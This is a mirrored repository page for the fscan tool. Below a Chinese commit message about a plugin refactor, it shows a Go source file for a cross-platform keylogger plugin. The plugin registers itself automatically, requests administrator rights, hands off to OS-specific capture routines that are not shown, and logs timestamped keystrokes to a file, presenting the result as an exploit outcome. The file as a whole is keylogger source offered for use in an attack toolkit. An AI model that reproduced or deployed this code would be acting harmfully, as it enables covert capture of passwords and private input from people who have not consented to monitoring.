mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构, 大幅减少代码重复和维护成本,提升插件开发效率。 主要改进: • 将每个服务插件从3个文件简化为1个文件 • 删除过度设计的工厂模式、适配器模式等抽象层 • 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构 • 实现直接的插件注册机制,提升系统简洁性 • 保持完全向后兼容,所有扫描功能和输出格式不变 重构统计: • 删除文件:100+个复杂架构文件 • 新增文件:20个简化的单文件插件 • 代码减少:每个插件减少60-80%代码量 • 功能增强:所有插件包含完整扫描和利用功能 已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle, Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP, Rsync, SMTP, SNMP, Telnet, VNC 验证通过: 新系统编译运行正常,所有插件功能验证通过
289 lines
8.1 KiB
Go
289 lines
8.1 KiB
Go
package keylogger
|
||
|
||
import (
|
||
"context"
|
||
"fmt"
|
||
"os"
|
||
"runtime"
|
||
"strings"
|
||
"sync"
|
||
"time"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/plugins/base"
|
||
"github.com/shadow1ng/fscan/plugins/local"
|
||
)
|
||
|
||
// KeyloggerPlugin 键盘记录插件 - 使用简化架构
|
||
type KeyloggerPlugin struct {
|
||
*local.BaseLocalPlugin
|
||
outputFile string
|
||
isRunning bool
|
||
stopChan chan struct{}
|
||
keyBuffer []string
|
||
bufferMutex sync.RWMutex
|
||
}
|
||
|
||
// NewKeyloggerPlugin 创建键盘记录插件 - 简化版本
|
||
func NewKeyloggerPlugin() *KeyloggerPlugin {
|
||
// 从全局参数获取配置
|
||
outputFile := common.KeyloggerOutputFile
|
||
if outputFile == "" {
|
||
outputFile = "keylog.txt" // 默认输出文件
|
||
}
|
||
|
||
metadata := &base.PluginMetadata{
|
||
Name: "keylogger",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "跨平台键盘记录插件,支持Windows、Linux和macOS系统的键盘输入捕获",
|
||
Category: "local",
|
||
Tags: []string{"local", "keylogger", "monitoring", "cross-platform"},
|
||
Protocols: []string{"local"},
|
||
}
|
||
|
||
plugin := &KeyloggerPlugin{
|
||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||
outputFile: outputFile,
|
||
stopChan: make(chan struct{}),
|
||
keyBuffer: make([]string, 0),
|
||
}
|
||
|
||
// 支持所有主要平台
|
||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||
// 需要管理员权限访问键盘输入
|
||
plugin.SetRequiresPrivileges(true)
|
||
|
||
return plugin
|
||
}
|
||
|
||
// Initialize 初始化插件
|
||
func (p *KeyloggerPlugin) Initialize() error {
|
||
common.LogInfo(fmt.Sprintf("初始化键盘记录插件 - 平台: %s", runtime.GOOS))
|
||
|
||
// 检查输出文件路径权限
|
||
if err := p.checkOutputFilePermissions(); err != nil {
|
||
return fmt.Errorf("输出文件权限检查失败: %v", err)
|
||
}
|
||
|
||
// 检查平台特定的权限和依赖
|
||
if err := p.checkPlatformRequirements(); err != nil {
|
||
return fmt.Errorf("平台要求检查失败: %v", err)
|
||
}
|
||
|
||
return p.BaseLocalPlugin.Initialize()
|
||
}
|
||
|
||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||
func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
return p.ScanLocal(ctx, info)
|
||
}
|
||
|
||
// ScanLocal 执行键盘记录 - 简化版本
|
||
func (p *KeyloggerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
common.LogBase("开始键盘记录...")
|
||
|
||
// 启动键盘记录
|
||
err := p.startKeylogging(ctx)
|
||
if err != nil {
|
||
return &base.ScanResult{
|
||
Success: false,
|
||
Error: err,
|
||
}, nil
|
||
}
|
||
|
||
result := &base.ScanResult{
|
||
Success: true,
|
||
Service: "Keylogger",
|
||
Banner: fmt.Sprintf("键盘记录已完成 - 输出文件: %s 平台: %s", p.outputFile, runtime.GOOS),
|
||
Extra: map[string]interface{}{
|
||
"output_file": p.outputFile,
|
||
"platform": runtime.GOOS,
|
||
"keys_captured": len(p.keyBuffer),
|
||
},
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// startKeylogging 启动键盘记录
|
||
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error {
|
||
p.isRunning = true
|
||
defer func() {
|
||
p.isRunning = false
|
||
}()
|
||
|
||
common.LogInfo(fmt.Sprintf("开始键盘记录,输出文件: %s", p.outputFile))
|
||
|
||
// 根据平台启动相应的键盘记录
|
||
var err error
|
||
switch runtime.GOOS {
|
||
case "windows":
|
||
err = p.startWindowsKeylogging(ctx)
|
||
case "linux":
|
||
err = p.startLinuxKeylogging(ctx)
|
||
case "darwin":
|
||
err = p.startDarwinKeylogging(ctx)
|
||
default:
|
||
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
|
||
}
|
||
|
||
if err != nil {
|
||
return fmt.Errorf("键盘记录失败: %v", err)
|
||
}
|
||
|
||
// Windows平台已经实时写入文件,其他平台保存到文件
|
||
if runtime.GOOS != "windows" {
|
||
if err := p.saveKeysToFile(); err != nil {
|
||
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err))
|
||
}
|
||
} else {
|
||
common.LogInfo("Windows平台已实时写入文件,无需再次保存")
|
||
}
|
||
|
||
common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer)))
|
||
return nil
|
||
}
|
||
|
||
// checkOutputFilePermissions 检查输出文件权限
|
||
func (p *KeyloggerPlugin) checkOutputFilePermissions() error {
|
||
// 尝试创建或打开输出文件
|
||
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)
|
||
if err != nil {
|
||
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
|
||
}
|
||
file.Close()
|
||
return nil
|
||
}
|
||
|
||
// checkPlatformRequirements 检查平台特定要求
|
||
func (p *KeyloggerPlugin) checkPlatformRequirements() error {
|
||
switch runtime.GOOS {
|
||
case "windows":
|
||
return p.checkWindowsRequirements()
|
||
case "linux":
|
||
return p.checkLinuxRequirements()
|
||
case "darwin":
|
||
return p.checkDarwinRequirements()
|
||
default:
|
||
return fmt.Errorf("不支持的平台: %s", runtime.GOOS)
|
||
}
|
||
}
|
||
|
||
// addKeyToBuffer 添加按键到缓冲区
|
||
func (p *KeyloggerPlugin) addKeyToBuffer(key string) {
|
||
p.bufferMutex.Lock()
|
||
defer p.bufferMutex.Unlock()
|
||
|
||
timestamp := time.Now().Format("2006-01-02 15:04:05")
|
||
entry := fmt.Sprintf("[%s] %s", timestamp, key)
|
||
p.keyBuffer = append(p.keyBuffer, entry)
|
||
}
|
||
|
||
// saveKeysToFile 保存键盘记录到文件
|
||
func (p *KeyloggerPlugin) saveKeysToFile() error {
|
||
p.bufferMutex.RLock()
|
||
defer p.bufferMutex.RUnlock()
|
||
|
||
if len(p.keyBuffer) == 0 {
|
||
common.LogInfo("没有捕获到键盘输入")
|
||
return nil
|
||
}
|
||
|
||
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||
if err != nil {
|
||
return fmt.Errorf("无法打开输出文件: %v", err)
|
||
}
|
||
defer file.Close()
|
||
|
||
// 写入头部信息
|
||
header := fmt.Sprintf("=== 键盘记录日志 ===\n")
|
||
header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
|
||
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
|
||
header += fmt.Sprintf("========================\n\n")
|
||
|
||
if _, err := file.WriteString(header); err != nil {
|
||
return fmt.Errorf("写入头部信息失败: %v", err)
|
||
}
|
||
|
||
// 写入键盘记录
|
||
for _, entry := range p.keyBuffer {
|
||
if _, err := file.WriteString(entry + "\n"); err != nil {
|
||
return fmt.Errorf("写入键盘记录失败: %v", err)
|
||
}
|
||
}
|
||
|
||
return nil
|
||
}
|
||
|
||
// GetLocalData 获取键盘记录本地数据
|
||
func (p *KeyloggerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||
data := make(map[string]interface{})
|
||
|
||
data["plugin_type"] = "keylogger"
|
||
data["platform"] = runtime.GOOS
|
||
data["output_file"] = p.outputFile
|
||
data["keys_captured"] = len(p.keyBuffer)
|
||
data["is_running"] = p.isRunning
|
||
|
||
if hostname, err := os.Hostname(); err == nil {
|
||
data["hostname"] = hostname
|
||
}
|
||
|
||
return data, nil
|
||
}
|
||
|
||
// ExtractData 提取数据
|
||
func (p *KeyloggerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||
return &base.ExploitResult{
|
||
Success: true,
|
||
Output: fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件,保存到: %s", len(p.keyBuffer), p.outputFile),
|
||
Data: data,
|
||
Extra: map[string]interface{}{
|
||
"output_file": p.outputFile,
|
||
"keys_captured": len(p.keyBuffer),
|
||
"platform": runtime.GOOS,
|
||
"status": "completed",
|
||
},
|
||
}, nil
|
||
}
|
||
|
||
// GetInfo 获取插件信息
|
||
func (p *KeyloggerPlugin) GetInfo() string {
|
||
var info strings.Builder
|
||
|
||
info.WriteString("跨平台键盘记录插件\n")
|
||
info.WriteString(fmt.Sprintf("输出文件: %s\n", p.outputFile))
|
||
info.WriteString("记录模式: 持续记录直到程序结束\n")
|
||
info.WriteString("支持平台: Windows, Linux, macOS\n")
|
||
info.WriteString("功能: 捕获和记录键盘输入事件\n")
|
||
info.WriteString("要求: 管理员权限,平台特定的输入访问权限\n")
|
||
|
||
return info.String()
|
||
}
|
||
|
||
// RegisterKeyloggerPlugin 注册键盘记录插件
|
||
func RegisterKeyloggerPlugin() {
|
||
factory := base.NewSimplePluginFactory(
|
||
&base.PluginMetadata{
|
||
Name: "keylogger",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "跨平台键盘记录插件,支持Windows、Linux和macOS系统的键盘输入捕获",
|
||
Category: "local",
|
||
Tags: []string{"keylogger", "local", "monitoring", "cross-platform"},
|
||
Protocols: []string{"local"},
|
||
},
|
||
func() base.Plugin {
|
||
return NewKeyloggerPlugin()
|
||
},
|
||
)
|
||
|
||
base.GlobalPluginRegistry.Register("keylogger", factory)
|
||
}
|
||
|
||
// init 插件注册函数
|
||
func init() {
|
||
RegisterKeyloggerPlugin()
|
||
} |